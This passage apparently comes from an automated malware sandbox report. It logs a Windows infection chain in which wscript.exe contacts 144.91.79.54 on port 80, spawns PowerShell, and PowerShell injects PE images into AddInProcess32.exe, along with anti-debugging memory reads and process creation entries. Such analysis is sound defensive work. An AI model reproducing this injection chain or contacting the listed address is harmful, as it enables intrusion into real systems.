Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_019494E0 mov eax, dword ptr fs:[00000030h]	5_2_019494E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C340D mov eax, dword ptr fs:[00000030h]	5_2_018C340D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D8402 mov eax, dword ptr fs:[00000030h]	5_2_018D8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D8402 mov eax, dword ptr fs:[00000030h]	5_2_018D8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018D8402 mov eax, dword ptr fs:[00000030h]	5_2_018D8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189E420 mov eax, dword ptr fs:[00000030h]	5_2_0189E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189E420 mov eax, dword ptr fs:[00000030h]	5_2_0189E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189E420 mov eax, dword ptr fs:[00000030h]	5_2_0189E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189C427 mov eax, dword ptr fs:[00000030h]	5_2_0189C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01926420 mov eax, dword ptr fs:[00000030h]	5_2_01926420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01926420 mov eax, dword ptr fs:[00000030h]	5_2_01926420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01926420 mov eax, dword ptr fs:[00000030h]	5_2_01926420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01926420 mov eax, dword ptr fs:[00000030h]	5_2_01926420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01926420 mov eax, dword ptr fs:[00000030h]	5_2_01926420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01926420 mov eax, dword ptr fs:[00000030h]	5_2_01926420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_01926420 mov eax, dword ptr fs:[00000030h]	5_2_01926420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DA430 mov eax, dword ptr fs:[00000030h]	5_2_018DA430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0195F453 mov eax, dword ptr fs:[00000030h]	5_2_0195F453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AB440 mov eax, dword ptr fs:[00000030h]	5_2_018AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AB440 mov eax, dword ptr fs:[00000030h]	5_2_018AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AB440 mov eax, dword ptr fs:[00000030h]	5_2_018AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AB440 mov eax, dword ptr fs:[00000030h]	5_2_018AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AB440 mov eax, dword ptr fs:[00000030h]	5_2_018AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018AB440 mov eax, dword ptr fs:[00000030h]	5_2_018AB440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE443 mov eax, dword ptr fs:[00000030h]	5_2_018DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE443 mov eax, dword ptr fs:[00000030h]	5_2_018DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE443 mov eax, dword ptr fs:[00000030h]	5_2_018DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE443 mov eax, dword ptr fs:[00000030h]	5_2_018DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE443 mov eax, dword ptr fs:[00000030h]	5_2_018DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE443 mov eax, dword ptr fs:[00000030h]	5_2_018DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE443 mov eax, dword ptr fs:[00000030h]	5_2_018DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018DE443 mov eax, dword ptr fs:[00000030h]	5_2_018DE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0189645D mov eax, dword ptr fs:[00000030h]	5_2_0189645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018C245A mov eax, dword ptr fs:[00000030h]	5_2_018C245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0197547F mov eax, dword ptr fs:[00000030h]	5_2_0197547F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_018A1460 mov eax, dword ptr fs:[00000030h]	5_2_018A1460

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

Network Connect: 144.91.79.54 80

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: DB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 340000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1100000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1330000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1100000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1310000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1300000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1310000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1150000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 540000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: DB0000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: DB1000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: E1F008	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 340000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 341000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 5AB008	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1100000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1101000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: F7D008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1330000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1331000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1020008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1100000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1101000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: EBF008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1310000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1311000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1052008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1300000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1301000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1184008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1310000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1311000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1092008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1150000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1151000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: F1C008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 540000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 541000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 3B0008

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5960" "2556" "2808" "2640" "0" "0" "2560" "0" "0" "0" "0" "0"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5264" "2560" "2180" "2464" "0" "0" "2640" "0" "0" "0" "0" "0"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2056" "2800" "2732" "2804" "0" "0" "2808" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3780" "2612" "2844" "2596" "0" "0" "2508" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5256" "2508" "2512" "2556" "0" "0" "2560" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5368" "2468" "2228" "2508" "0" "0" "2496" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6068" "2816" "2752" "2820" "0" "0" "2824" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1596" "2640" "2808" "2340" "0" "0" "2572" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4392" "2800" "2312" "2804" "0" "0" "2808" "0" "0" "0" "0" "0"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6780" "2824" "2552" "2828" "0" "0" "2832" "0" "0" "0" "0" "0"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
